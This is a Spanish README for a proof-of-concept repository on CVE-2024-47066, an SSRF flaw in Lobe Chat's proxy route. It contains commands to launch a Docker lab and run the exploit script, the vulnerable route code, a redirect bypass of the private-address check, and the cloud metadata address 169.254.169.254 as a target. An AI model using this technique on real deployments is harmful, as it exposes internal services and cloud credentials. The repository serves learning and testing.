
Explotación de Server-Side Request Forgery en Lobe Chat
★ CVE-2024-47066 PoC de SSRF en LobeChat ★
CVE-2024-47066 : Lobe Chat es un framework de chat de inteligencia artificial de código abierto. Antes de la versión 1.19.13, la protección contra falsificación de peticiones del lado del servidor implementada en src/app/api/proxy/route.ts no considera las redirecciones y podría ser eludida cuando el atacante proporciona una URL maliciosa externa que redirige a recursos internos como una red privada o una dirección de loopback. La versión 1.19.13 contiene una corrección mejorada para este problema.
Reportado por: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(Externo) LodeChat --> ATAQUE SSRF --> (Interno) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
Debajo de la línea 26, no hay ningún lugar para determinar la respuesta de redirección. Por lo tanto, al usar un acortador de URL, se puede eludir fácilmente la función "isPrivate()".
Realizar una petición a http://169.254.169.254
Este repositorio no pretende ser un exploit de SSRF para CVE-2024-47066. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.